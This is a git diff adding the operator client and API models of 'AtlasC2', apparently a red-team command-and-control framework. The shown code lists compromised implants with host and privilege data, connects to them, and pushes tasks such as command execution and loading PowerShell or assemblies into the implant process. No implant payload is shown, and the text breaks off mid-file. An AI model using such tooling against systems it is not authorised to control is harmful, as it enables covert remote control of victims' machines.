diff --git a/APIModels/APIModels.csproj b/APIModels/APIModels.csproj new file mode 100644 index 0000000..f208d30 --- /dev/null +++ b/APIModels/APIModels.csproj @@ -0,0 +1,7 @@ + + + + net5.0 + + + diff --git a/APIModels/Class1.cs b/APIModels/Class1.cs new file mode 100644 index 0000000..b7502f7 --- /dev/null +++ b/APIModels/Class1.cs @@ -0,0 +1,8 @@ +using System; + +namespace APIModels +{ + public class Class1 + { + } +} diff --git a/APIModels/Requests/ImplantTaskRequest.cs b/APIModels/Requests/ImplantTaskRequest.cs new file mode 100644 index 0000000..a05537b --- /dev/null +++ b/APIModels/Requests/ImplantTaskRequest.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; + +namespace APIModels.Requests +{ + [Serializable] + public class TaskArgs + { + public string OptionName { get; set; } + public string OptionValue { get; set; } + } + + [Serializable] + public class ArgsRecv{ + public List Params { get; set; } + } + + public class ImplantTaskRequest + { + public string Command { get; set; } + // json str, see alpha + public string Args { get; set; } + public string File { get; set; } + } +} diff --git a/APIModels/Requests/StartHTTPListenerRequest.cs b/APIModels/Requests/StartHTTPListenerRequest.cs new file mode 100644 index 0000000..a40f550 --- /dev/null +++ b/APIModels/Requests/StartHTTPListenerRequest.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace APIModels.Requests +{ + public class StartHTTPListenerRequest + { + public string Name { get; set; } + public int BindPort { get; set; } + } +} diff --git a/AtlasC2b.sln b/AtlasC2b.sln new file mode 100644 index 0000000..8415452 --- /dev/null +++ b/AtlasC2b.sln @@ -0,0 +1,43 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31729.503 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Client", "Client\Client.csproj", "{5EE374BC-1028-4607-B4AC-BB11D4187DC8}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "APIModels", "APIModels\APIModels.csproj", "{CB05D019-8DE0-46C6-9BD4-72998ABA2492}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Implant", "Implant\Implant.csproj", "{6DE5ED01-804C-49BF-8F70-DF032CC6C189}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TeamServer", "TeamServer\TeamServer.csproj", "{BCC27BA8-EC55-4BED-8D2F-3FDC069D45B9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5EE374BC-1028-4607-B4AC-BB11D4187DC8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {5EE374BC-1028-4607-B4AC-BB11D4187DC8}.Debug|Any CPU.Build.0 = Debug|Any CPU + {5EE374BC-1028-4607-B4AC-BB11D4187DC8}.Release|Any CPU.ActiveCfg = Release|Any CPU + {5EE374BC-1028-4607-B4AC-BB11D4187DC8}.Release|Any CPU.Build.0 = Release|Any CPU + {CB05D019-8DE0-46C6-9BD4-72998ABA2492}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {CB05D019-8DE0-46C6-9BD4-72998ABA2492}.Debug|Any CPU.Build.0 = Debug|Any CPU + {CB05D019-8DE0-46C6-9BD4-72998ABA2492}.Release|Any CPU.ActiveCfg = Release|Any CPU + {CB05D019-8DE0-46C6-9BD4-72998ABA2492}.Release|Any CPU.Build.0 = Release|Any CPU + {6DE5ED01-804C-49BF-8F70-DF032CC6C189}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6DE5ED01-804C-49BF-8F70-DF032CC6C189}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6DE5ED01-804C-49BF-8F70-DF032CC6C189}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6DE5ED01-804C-49BF-8F70-DF032CC6C189}.Release|Any CPU.Build.0 = Release|Any CPU + {BCC27BA8-EC55-4BED-8D2F-3FDC069D45B9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {BCC27BA8-EC55-4BED-8D2F-3FDC069D45B9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {BCC27BA8-EC55-4BED-8D2F-3FDC069D45B9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {BCC27BA8-EC55-4BED-8D2F-3FDC069D45B9}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {6DE16ECE-AC89-4765-A200-878B5007109A} + EndGlobalSection +EndGlobal diff --git a/Client/APIComms/comms.cs b/Client/APIComms/comms.cs new file mode 100644 index 0000000..57dc33b --- /dev/null +++ b/Client/APIComms/comms.cs @@ -0,0 +1,50 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading.Tasks; + +namespace Client.Comms +{ + class comms + { + public static string SendGET(string addr){ + HttpWebRequest req = WebRequest.CreateHttp(addr); + + using (HttpWebResponse resp = (HttpWebResponse)req.GetResponse()) { + using (Stream stream = resp.GetResponseStream()) { + using (StreamReader reader = new StreamReader(stream)) { return reader.ReadToEnd(); } + } + } + + } + + public static string SendPOST(string addr, string content){ + HttpWebRequest req = WebRequest.CreateHttp(addr); + + byte[] data = Encoding.UTF8.GetBytes(content); + req.Method = "POST"; + req.ContentType = "application/json"; + req.ContentLength = data.Length; + + using (var stream = req.GetRequestStream()) { stream.Write(data, 0, data.Length); } + HttpWebResponse resp = (HttpWebResponse)req.GetResponse(); + + return new StreamReader(resp.GetResponseStream()).ReadToEnd(); + } + + public static string SendDELETE(string addr){ + HttpWebRequest req = WebRequest.CreateHttp(addr); + req.Method = "DELETE"; + + using (HttpWebResponse resp = (HttpWebResponse)req.GetResponse()) { + using (Stream stream = resp.GetResponseStream()) { + using (StreamReader reader = new StreamReader(stream)) { return reader.ReadToEnd(); } + } + } + } + + } +} diff --git a/Client/Client.csproj b/Client/Client.csproj new file mode 100644 index 0000000..8cb1201 --- /dev/null +++ b/Client/Client.csproj @@ -0,0 +1,12 @@ + + + + Exe + net5.0 + + + + + + + diff --git a/Client/JSON/Classes.cs b/Client/JSON/Classes.cs new file mode 100644 index 0000000..c686698 --- /dev/null +++ b/Client/JSON/Classes.cs @@ -0,0 +1,96 @@ +using System; +using System.Collections.Generic; +using System.Net; + +namespace Client.JSON +{ + public class Classes + { + [Serializable] + public class TaskArgs + { + public string OptionName { get; set; } + public string OptionValue { get; set; } + } + + [Serializable] + public class ArgsRecv + { + public List Params { get; set; } + } + + [Serializable] + public class ArgsData + { + //public string Taskname { get; set; } + public List Params { get; set; } + } + + [Serializable] + public class TaskSend + { + public string Command { get; set; } + public string Args { get; set; } + public string File { get; set; } + //public byte[] File { get; set; } + } + + [Serializable] + public class TaskSendOut + { + public string Id { get; set; } + public string Command { get; set; } + public string Args { get; set; } + public string File { get; set; } + //public byte[] File { get; set; } + + } + + [Serializable] + public class TaskRecvOut + { + public string Id { get; set; } + public string TaskOut { get;set; } + } + + [Serializable] + public class StartListenerData + { + public string name { get; set; } + public int bindPort { get; set; } + } + + [Serializable] + public class IData + { + public string id { get; set; } + public string hostName { get; set; } + public string user { get; set; } + public string procName { get; set; } + public string procID { get; set; } + public string integrity { get; set; } + public string arch { get; set; } + public string IPAddr { get; set; } + } + + [Serializable] + public class ImplantData + { + public IData data { get; set; } + public string lastSeen { get; set; } + } + + [Serializable] + public class Listeners + { + public string Name { get; set; } + } + + [Serializable] + public class ListenerData + { + public string Name { get; set; } + public int bindPort { get; set; } + } + } +} diff --git a/Client/Models/Abstracts/Task.cs b/Client/Models/Abstracts/Task.cs new file mode 100644 index 0000000..1665326 --- /dev/null +++ b/Client/Models/Abstracts/Task.cs @@ -0,0 +1,13 @@ +using System; +using System.Collections.Generic; + +namespace Client.Models +{ + abstract class Task + { + public abstract string TaskName { get; } + public abstract string Desc { get; } + public abstract List OptList { get; } + + } +} \ No newline at end of file diff --git a/Client/Models/Abstracts/Util.cs b/Client/Models/Abstracts/Util.cs new file mode 100644 index 0000000..7aa058e --- /dev/null +++ b/Client/Models/Abstracts/Util.cs @@ -0,0 +1,9 @@ +namespace Client.Models +{ + public abstract class Util + { + public abstract string UtilName {get;} + public abstract string Desc { get; } + public abstract string UtilExecute(string[] opts); + } +} \ No newline at end of file diff --git a/Client/Models/Data/Client.cs b/Client/Models/Data/Client.cs new file mode 100644 index 0000000..e6d07bb --- /dev/null +++ b/Client/Models/Data/Client.cs @@ -0,0 +1,32 @@ +using System; +using System.Collections.Generic; +using System.Net; + +namespace Client.Models +{ + class Client + { + public static bool Debug { get; set; } = false; + public static string TaskName { get; set; } + public static string argData { get; set; } + public static string sendData { get; set; } + public static byte[] assemBytes { get; set; } + public static string TeamServerAddr { get; set; } + public static string ConnectAddr { get; set; } + public static string CurrentImplant { get; set; } + public static string ImplantAddr { get; set; } + //public static bool ImplantStatus { get; set; } + + public static bool running = true; + public static string Prompt = "> "; + public const string Ver = "v0.1"; + + public static List ImplantList = new List(); + public static List ListenerList = new List(); + public static List Tasks = new List(); + + public static readonly List _utils = new List(); + public static readonly List _opts = new List(); + + } +} diff --git a/Client/Models/Data/TaskOptions.cs b/Client/Models/Data/TaskOptions.cs new file mode 100644 index 0000000..504442a --- /dev/null +++ b/Client/Models/Data/TaskOptions.cs @@ -0,0 +1,85 @@ +namespace Client.Models +{ + class TaskOptions + { + // https://www.youtube.com/watch?v=C6lhpNkw6H4 + + public static object assemName = new AssemName(); + public static object assemType = new AssemType(); + public static object assemMethod = new AssemMethod(); + public static object retryCount = new Retry_count(); + public static object timeout = new Timeout(); + public static object command = new Command(); + public static object assemBytes = new AssemBytes(); + public static object psFile = new PSFile(); + public static object debug = new Debug(); + public static object encode = new Encode(); + + public class Encode + { + public string Name { get; set; } = nameof(encode); + public bool Value { get; set; } = false; + public string Desc { get; set; } = "encode PowerShell command"; + } + + public class Debug + { + public string Name { get; set; } = nameof(debug); + public bool Value { get; set; } = false; + public string Desc { get; set; } = "verbose output"; + } + + public class PSFile + { + public string Name { get; set; } = nameof(psFile); + public string Value { get; set; } = ""; + public string Desc { get; set; } = "path to PowerShell file to load into implant process"; + } + + public class AssemBytes + { + public string Name { get; set; } = nameof(assemBytes); + public byte[] Value { get; set; } = Client.assemBytes; + public string Desc { get; set; } = "byte array to load into implant process"; + } + + public class Command + { + public string Name { get; set; } = nameof(command); + public string Value { get; set; } = ""; + public string Desc { get; set; } = "command to execute"; + } + + public class Retry_count { + public string Name { get; set; } = nameof(retryCount); + public int Value { get; set; } = 3; + public string Desc { get; set; } = "set retry count"; + } + public class Timeout { + public string Name { get; set; } = nameof(timeout); + public int Value { get; set; } = 5; + public string Desc { get; set; } = "set timeout"; + } + + public class AssemName + { + public string Name { get; set; } = nameof(assemName); + public string Value { get; set; } = ""; + public string Desc { get; set; } = "select assembly name"; + } + + public class AssemType { + public string Name { get; set; } = nameof(assemType); + public string Value { get; set; } = ""; + public string Desc { get; set; } = "select assembly type"; + } + + public class AssemMethod { + + public string Name { get; set; } = nameof(assemMethod); + public string Value { get; set; } = "somemethod"; + public string Desc { get; set; } = "select assembly method"; + } + + } +} diff --git a/Client/Models/Exceptions/Exceptions.cs b/Client/Models/Exceptions/Exceptions.cs new file mode 100644 index 0000000..ae5a389 --- /dev/null +++ b/Client/Models/Exceptions/Exceptions.cs @@ -0,0 +1,12 @@ +using System; + +namespace Client.Models +{ + public class AtlasException : Exception + { + // https://github.com/FortyNorthSecurity/EDD/blob/master/EDD/Models/EDDException.cs + public AtlasException(string message) : base(message) { } + public AtlasException(string message, Exception inner) : base(message, inner) { } + + } +} diff --git a/Client/Program.cs b/Client/Program.cs new file mode 100644 index 0000000..c873b84 --- /dev/null +++ b/Client/Program.cs @@ -0,0 +1,30 @@ +using Client.Utils; + +using static System.Console; + +using static Client.Models.Client; + +namespace Client +{ + class Program + { + static void Main(string[] args) + { + + UI.Banner(); + + TeamServerAddr = "http://127.0.0.1:5000"; + + while (running) { + if (CurrentImplant != null && !(Prompt.Contains($"{CurrentImplant}"))) { Prompt = $"[{CurrentImplant}] > "; } + else if (CurrentImplant is null) { Prompt = "> "; } + + Write(Prompt); + var _out = ReadLine(); + + UI.Action(_out); + } + + } + } +} diff --git a/Client/Utils/ClientUtils/Banner.cs b/Client/Utils/ClientUtils/Banner.cs new file mode 100644 index 0000000..13b0da1 --- /dev/null +++ b/Client/Utils/ClientUtils/Banner.cs @@ -0,0 +1,28 @@ +using System.Text; + +namespace Client.Utils +{ + public class Banner : Models.Util + { + + public override string UtilName => "Banner"; + public override string Desc => "Display banner"; + public override string UtilExecute(string[] opts) + { + StringBuilder _out = new StringBuilder(); + + _out.AppendLine( + @" _____ __ .__ _________ ________ " + "\n" + + @" / _ \ _/ |_ | | _____ ______ \_ ___ \ \_____ \ " + "\n" + + @" / /_\ \ \ __\| | \__ \ / ___/ / \ \/ / ____/ " + "\n" + + @"/ | \ | | | |__ / __ \_ \___ \ \ \____/ \ " + "\n" + + @"\____|__ / |__| |____/(____ //____ > \______ /\_______ \" + "\n" + + @" \/ \/ \/ \/ \/" + "\n" + + $"\tVer: {Models.Client.Ver} \n\tAuthor: Grimmie\n" + ); + + return _out.ToString(); + } + + } +} diff --git a/Client/Utils/ClientUtils/ByteConvert.cs b/Client/Utils/ClientUtils/ByteConvert.cs new file mode 100644 index 0000000..37ceb56 --- /dev/null +++ b/Client/Utils/ClientUtils/ByteConvert.cs @@ -0,0 +1,64 @@ +using System; +using Client.Models; + +using static System.Console; + +namespace Client.Utils.ClientUtils +{ + class ByteConvert : Models.Util + { + private bool isRemote {get;set;} + private string File { get; set; } + private int Timeout { get; set; } = 3; + private int retryCount { get; set; } = 2; + + public override string UtilName => "ByteConvert"; + + public override string Desc => "Fetches a local or remote file and converts into a byte array"; + + public override string UtilExecute(string[] opts) + { + try + { + if (opts is null) { throw new AtlasException($"[*] Usage: ByteConvert [isRemote] [filePath] \n"); } + if (opts.Length < 3) { throw new AtlasException($"[*] Usage: ByteConvert [isRemote] [filePath] \n"); } + + if (opts[1].ToLower() is "true" || opts[1] is "false") { + if (opts[1].ToLower() is "true") { + isRemote = true; + File = opts[2]; + } + if (opts[1].ToLower() is "false") { + isRemote = false; + File = opts[2]; + } + } else { throw new AtlasException($"[*] Usage: ByteConvert [isRemote] [filePath] \n"); } + + try { + if (opts.Length > 3) { Timeout = Int32.Parse(opts[3]); } + if (opts.Length > 3 && opts.Length <= 5) { retryCount = Int32.Parse(opts[4]); } + } catch (FormatException) { throw new AtlasException($"[*] Usage: ByteConvert [isRemote] [filePath] \n"); } + + if (!isRemote) { + WriteLine($"{nameof(isRemote)}: {isRemote}\n" + + $"{nameof(File)}: {File}\n" ); + } else { + WriteLine($"{nameof(isRemote)}: {isRemote}\n" + + $"{nameof(File)}: {File}\n" + + $"{nameof(Timeout)}: {Timeout}\n" + + $"{nameof(retryCount)}: {retryCount}\n" + ); + } + + if (isRemote) { + TaskOps.SmraatFetch(File, Timeout, retryCount); + } else { TaskOps.SmraatFetch(File); } + + Client.Models.TaskOptions.assemBytes.SetPropertyValue("Value", Client.Models.Client.assemBytes); + + return $"[*] Converted {File} to byte array and stored in assemBytes\n"; + + } catch (AtlasException e) { return e.Message; } + } + } +} \ No newline at end of file diff --git a/Client/Utils/ClientUtils/Clear.cs b/Client/Utils/ClientUtils/Clear.cs new file mode 100644 index 0000000..b7c9511 --- /dev/null +++ b/Client/Utils/ClientUtils/Clear.cs @@ -0,0 +1,11 @@ +using System; + +namespace Client.Utils +{ + class Clear : Models.Util + { + public override string UtilName => "Clear"; + public override string Desc => "Clears screen"; + public override string UtilExecute(string[] opts) { Console.Clear(); return ""; } + } +} diff --git a/Client/Utils/ClientUtils/Commands.cs b/Client/Utils/ClientUtils/Commands.cs new file mode 100644 index 0000000..b438611 --- /dev/null +++ b/Client/Utils/ClientUtils/Commands.cs @@ -0,0 +1,37 @@ +using System.Text; + +using static Client.Models.Client; + +namespace Client.Utils +{ + public class Commands : Models.Util + { + public override string UtilName => "Commands"; + + public override string Desc => "List available commands"; + + public override string UtilExecute(string[] opts) + { + StringBuilder _out = new StringBuilder(); + + if (_utils.Count == 0) { Init.UtilInit(); } + + foreach (Models.Util cmd in _utils){ _out.AppendLine($"{cmd.UtilName,-25} {cmd.Desc}"); } + + // separate based on usage + /* ie + * ImplantUtils + * ------------ + * xyz + * + * ListenerUtils + * ------------- + * xyz + * + * etc + */ + + return _out.ToString(); + } + } +} diff --git a/Client/Utils/ClientUtils/Exit.cs b/Client/Utils/ClientUtils/Exit.cs new file mode 100644 index 0000000..78e4bd0 --- /dev/null +++ b/Client/Utils/ClientUtils/Exit.cs @@ -0,0 +1,11 @@ +using System; + +namespace Client.Utils +{ + class Exit : Models.Util + { + public override string UtilName => "Exit"; + public override string Desc => "Exit AtlasC2"; + public override string UtilExecute(string[] opts){ Environment.Exit(0); return ""; } + } +} diff --git a/Client/Utils/ClientUtils/Options.cs b/Client/Utils/ClientUtils/Options.cs new file mode 100644 index 0000000..46cf9ee --- /dev/null +++ b/Client/Utils/ClientUtils/Options.cs @@ -0,0 +1,30 @@ +using System.Text; + +using static Client.Models.Client; + +namespace Client.Utils +{ + class Options : Models.Util + { + public override string UtilName => "Options"; + public override string Desc => "List AtlasC2 Options"; + public override string UtilExecute(string[] opts) + { + StringBuilder _out = new StringBuilder(); + + _out.AppendLine( + "TeamServer:\n" + + $"\t{nameof(TeamServerAddr)}:{TeamServerAddr, 25}\n" + + "Implant:\n" + + $"\t{nameof(CurrentImplant)}:{CurrentImplant, 12}\n" + + $"\t{nameof(ImplantAddr)}:{ImplantAddr, 19}\n"+ + "Tasks:\n" + + $"\t{nameof(TaskName)}:{TaskName, 14}\n" + //$"\t{nameof(Debug)}:{Debug, 18}" + ); + + + return _out.ToString(); + } + } +} diff --git a/Client/Utils/ClientUtils/SetOpt.cs b/Client/Utils/ClientUtils/SetOpt.cs new file mode 100644 index 0000000..e971b60 --- /dev/null +++ b/Client/Utils/ClientUtils/SetOpt.cs @@ -0,0 +1,35 @@ +using System; + +using Client.Models; + +namespace Client.Utils +{ + class SetOpt : Models.Util + { + string OptName { get; set; } + string OptVal { get; set; } + + public override string UtilName => "SetOpt"; + public override string Desc => "Set an option"; + public override string UtilExecute(string[] opts) + { + try + { + if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: SetOpt [optionName] [optionValue]"); } + + OptName = opts[1]; + OptVal = opts[2]; + + if (OptName == null) { throw new AtlasException($"[-] Invalid parameters passed\nUsage: SetOpt [optionName] [optionValue]"); } + if (OptVal == null) { throw new AtlasException($"[-] Invalid parameters passed\nUsage: SetOpt [optionName] [optionValue]"); } + + + + return $"{OptName} set to {OptVal}"; + + } catch (AtlasException e) { return e.Message; } + + throw new NotImplementedException(); + } + } +} diff --git a/Client/Utils/ClientUtils/SetTask.cs b/Client/Utils/ClientUtils/SetTask.cs new file mode 100644 index 0000000..9b46a53 --- /dev/null +++ b/Client/Utils/ClientUtils/SetTask.cs @@ -0,0 +1,34 @@ +using System; +using System.Linq; +using Client.Models; + +using static Client.Models.Client; +using static Client.Utils.Init; + +namespace Client.Util +{ + + class SetTask : Models.Util + { + string cTaskName {get;set;} + public override string UtilName => "SetTask"; + public override string Desc => "Set a task"; + public override string UtilExecute(string[] opts) + { + try + { + if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: SetTask [taskName]"); } + + cTaskName = opts[1]; + + if (_opts.Count == 0) { OptInit(); } + + Task util = _opts.FirstOrDefault(u => u.TaskName.Equals(cTaskName, StringComparison.InvariantCultureIgnoreCase)); + + if (util is null) { throw new AtlasException($"[-] {cTaskName} is an invalid task\n"); } + else{ TaskName = cTaskName; return $"[*] Task set to {TaskName}\n"; } + + } catch (AtlasException e) { return $"{e.Message}\n"; } + } + } +} diff --git a/Client/Utils/ClientUtils/SetTaskOpt.cs b/Client/Utils/ClientUtils/SetTaskOpt.cs new file mode 100644 index 0000000..c436edc --- /dev/null +++ b/Client/Utils/ClientUtils/SetTaskOpt.cs @@ -0,0 +1,40 @@ +using Client.Models; + +using static Client.Utils.TaskOps; +using static Client.Models.Client; + +namespace Client.Utils +{ + class SetTaskOpt : Models.Util + { + string OptName { get; set; } + string OptValue { get; set; } + + public override string UtilName => "SetTaskOpt"; + public override string Desc => "Set a task option"; + public override string UtilExecute(string[] opts) + { + try + { + if ((TaskName is null)) { throw new AtlasException($"[-] Select a task before attempting to set task options\n"); } + + if (opts is null) { throw new AtlasException($"[*] Usage: SetTaskOpt [optionName] [optionValue]\n"); } + + OptName = opts[1]; + OptValue = opts[2]; + + var optList = ReturnMethod(); + + foreach (var opt in optList){ + if (opt.GetPropertyValue("Name").ToString().Equals(OptName, System.StringComparison.InvariantCultureIgnoreCase)) { + opt.SetPropertyValue("Value", OptValue); + break; + } + else { throw new AtlasException($"[-] Option {OptName} does not exist in the current context\n"); } + } + + return $"[*] {OptName} set to {OptValue}\n"; + } catch (AtlasException e ) { return $"{e.Message}"; } + } + } +} diff --git a/Client/Utils/ClientUtils/TaskOpts.cs b/Client/Utils/ClientUtils/TaskOpts.cs new file mode 100644 index 0000000..68f09b4 --- /dev/null +++ b/Client/Utils/ClientUtils/TaskOpts.cs @@ -0,0 +1,38 @@ +using System.Text; + +using Client.Models; + +using static Client.Utils.TaskOps; +using static Client.Models.Client; + +namespace Client.Utils +{ + class TaskOpts : Models.Util + { + public override string UtilName => "TaskOpts"; + public override string Desc => "View task options"; + public override string UtilExecute(string[] opts) + { + try + { + StringBuilder _out = new StringBuilder(); + + var options = ReturnMethod(); + + _out.AppendLine($"Task Options ({TaskName})\n"); + _out.AppendLine($"{"Name",-25} {"Value",-35} {"Description",-50}"); + _out.AppendLine($"{"----",-25} {"-----",-35} {"-----------",-50}"); + + foreach (var opt in options) + { + _out.AppendLine($"{opt.GetPropertyValue("Name"),-25} {opt.GetPropertyValue("Value"),-35} {opt.GetPropertyValue("Desc"),-50}"); + } + + _out.AppendLine(); + + return _out.ToString().Trim('\n'); + + } catch (AtlasException e) { return e.Message; } + } + } +} diff --git a/Client/Utils/ClientUtils/Tasks.cs b/Client/Utils/ClientUtils/Tasks.cs new file mode 100644 index 0000000..12a9046 --- /dev/null +++ b/Client/Utils/ClientUtils/Tasks.cs @@ -0,0 +1,22 @@ +using System.Text; + +using static Client.Models.Client; + +namespace Client.Utils +{ + class Tasks : Models.Util + { + public override string UtilName => "Tasks"; + public override string Desc => "List tasks"; + public override string UtilExecute(string[] opts) + { + StringBuilder _out = new StringBuilder(); + + if (_opts.Count == 0) { Init.OptInit(); } + + foreach (Models.Task task in _opts) { _out.AppendLine($"{task.TaskName,-25} {task.Desc}"); } + + return _out.ToString(); + } + } +} diff --git a/Client/Utils/ImplantUtils/Connect.cs b/Client/Utils/ImplantUtils/Connect.cs new file mode 100644 index 0000000..53f1138 --- /dev/null +++ b/Client/Utils/ImplantUtils/Connect.cs @@ -0,0 +1,41 @@ +using System.Linq; +using System.Text; + +using Newtonsoft.Json; + +using Client.Models; + +using static Client.Models.Client; + +namespace Client.Utils +{ + class Connect : Models.Util + { + public override string UtilName => "Connect"; + public override string Desc => "Select an implant to interface with"; + public override string UtilExecute(string[] opts){ + try + { + if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: Connect [implantName]\n"); } + if(opts.Length > 2) { throw new AtlasException($"[*] Incorrect parameters passed\nUsage: Connect [implantName]\n"); } + + StringBuilder _out = new StringBuilder(); + + var implantName = opts[1]; + var _implant = ImplantList.FirstOrDefault(implant => implant.Equals(implantName)); + if(_implant is null) { throw new AtlasException($"[-] Implant {implantName} does not exist"); } + + var _implantJSON = Comms.comms.SendGET($"{TeamServerAddr}/implants/{_implant}").TrimStart('[').TrimEnd(']'); + var _implantData = JsonConvert.DeserializeObject(_implantJSON); + + CurrentImplant = _implant; + ImplantAddr = _implantData.data.IPAddr; + + _out.AppendLine($"[*] Set current implant to {CurrentImplant}"); + return _out.ToString(); + + } catch (AtlasException e) { return $"{e.Message}"; } + + } + } +} diff --git a/Client/Utils/ImplantUtils/Disconnect.cs b/Client/Utils/ImplantUtils/Disconnect.cs new file mode 100644 index 0000000..a6eb8a8 --- /dev/null +++ b/Client/Utils/ImplantUtils/Disconnect.cs @@ -0,0 +1,22 @@ +using Client.Models; + +namespace Client.Utils +{ + class Disconnect : Models.Util + { + public override string UtilName => "Disconnect"; + public override string Desc => "Disconnect an implant"; + public override string UtilExecute(string[] opts) + { + try + { + if(Models.Client.CurrentImplant is null) { throw new AtlasException($"[-] No current implant set\n"); } + + Models.Client.CurrentImplant = null; + Models.Client.ImplantAddr = null; + return ""; + + } catch (AtlasException e) { return e.Message; } + } + } +} diff --git a/Client/Utils/ImplantUtils/Implants.cs b/Client/Utils/ImplantUtils/Implants.cs new file mode 100644 index 0000000..526de7f --- /dev/null +++ b/Client/Utils/ImplantUtils/Implants.cs @@ -0,0 +1,50 @@ +using System.Text; +using System.Linq; + +using Newtonsoft.Json; + +using Client.Models; + +using static Client.Models.Client; + +namespace Client.Utils +{ + class Implants : Models.Util + { + public JSON.Classes.ImplantData ImplantData { get; set; } + + public override string UtilName => "Implants"; + public override string Desc => "List connected implants"; + public override string UtilExecute(string[] opts) + { + try + { + StringBuilder _out = new StringBuilder(); + + var implants = Comms.comms.SendGET($"{TeamServerAddr}/Implants").TrimStart('[').TrimEnd(']'); + if (implants.Length == 0) { throw new AtlasException("[*] No active implants\n"); } + + _out.AppendLine($"{"ImplantId",-20} {"Hostname",-25} {"Intergity",-20} {"LastSeen",-20}"); + _out.AppendLine($"{"----------",-20} {"--------",-25} {"---------",-20} {"--------",-20}"); + + if (implants.Contains("},{")) { implants = implants.Replace("},{", "}&{"); } + + var implantList = implants.Split('&'); + + foreach(var _implant in implantList){ + ImplantData = JsonConvert.DeserializeObject(_implant); + Models.Client.ImplantList.Add(ImplantData.data.id); + _out.AppendLine($"{ImplantData.data.id,-20} {ImplantData.data.hostName, -25} {ImplantData.data.integrity, -20}" + + $" {ImplantData.lastSeen, -20}"); + } + + ImplantList = ImplantList.Distinct().ToList(); + return _out.ToString(); + + } + catch (AtlasException e) { return $"{e.Message}"; } + catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; } + + } + } +} diff --git a/Client/Utils/ImplantUtils/SendTask.cs b/Client/Utils/ImplantUtils/SendTask.cs new file mode 100644 index 0000000..ceecc75 --- /dev/null +++ b/Client/Utils/ImplantUtils/SendTask.cs @@ -0,0 +1,44 @@ +using System.Text; +using System.Threading; + +using Client.Models; + +using static System.Console; + +using static Client.Models.Client; + +namespace Client.Utils +{ + class SendTask : Models.Util + { + public override string UtilName => "SendTask"; + public override string Desc => "Push a task to implant for execution"; + public override string UtilExecute(string[] opts) + { + try { + + StringBuilder _out = new StringBuilder(); + + argData = JSONOps.PackTaskArgs().Replace('"'.ToString(),"\\\""); + sendData = JSONOps.PackTaskData(argData); + + var tasksendOut = Comms.comms.SendPOST($"{TeamServerAddr}/Implants/{CurrentImplant}", sendData).TrimStart('[').TrimEnd(']'); + var taskId = JSONOps.ReturnTaskID(tasksendOut); + WriteLine($"Task {taskId.Id} Initialized"); + Thread.Sleep(3000); + + var taskOut = Comms.comms.SendGET($"{TeamServerAddr}/Implants/{CurrentImplant}/tasks/{taskId.Id}"); + var taskOutrecv = JSONOps.ReturnTaskData(taskOut); + WriteLine($"Task {taskId.Id} Complete\n"); + Thread.Sleep(1000); + + _out.AppendLine(taskOutrecv.TaskOut); + + return _out.ToString(); + + } + catch (AtlasException e) { return e.Message; } + //catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; } + } + } +} diff --git a/Client/Utils/ImplantUtils/TaskOut.cs b/Client/Utils/ImplantUtils/TaskOut.cs new file mode 100644 index 0000000..d74e788 --- /dev/null +++ b/Client/Utils/ImplantUtils/TaskOut.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +using Client.Models; + +using static Client.Models.Client; + +namespace Client.Utils.ImplantUtils +{ + class TaskOut : Models.Util + { + private string taskId { get; set; } + public override string UtilName => "TaskOut"; + + public override string Desc => "Returns the output of a specified task"; + + public override string UtilExecute(string[] opts) + { + try + { + if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: TaskOut [taskId]\n"); } + if (opts.Length > 2) { throw new AtlasException($"[*] Incorrect parameters passed\nUsage: TaskOut [taskId]\n"); } + + taskId = opts[1]; + + StringBuilder _out = new StringBuilder(); + + var taskOut = Comms.comms.SendGET($"{TeamServerAddr}/Implants/{CurrentImplant}/{taskId}"); + var parsedTaskOut = JSONOps.ReturnTaskData(taskOut); + + _out.AppendLine(parsedTaskOut.TaskOut); + + return _out.ToString(); + } + catch (AtlasException e) { return e.Message; } + catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; } + } + } +} diff --git a/Client/Utils/ImplantUtils/TasksOut.cs b/Client/Utils/ImplantUtils/TasksOut.cs new file mode 100644 index 0000000..ec606bb --- /dev/null +++ b/Client/Utils/ImplantUtils/TasksOut.cs @@ -0,0 +1,48 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +using Newtonsoft.Json; + +using Client.Models; + +using static Client.Models.Client; + +namespace Client.Utils.ImplantUtils +{ + class TasksOut : Models.Util + { + private 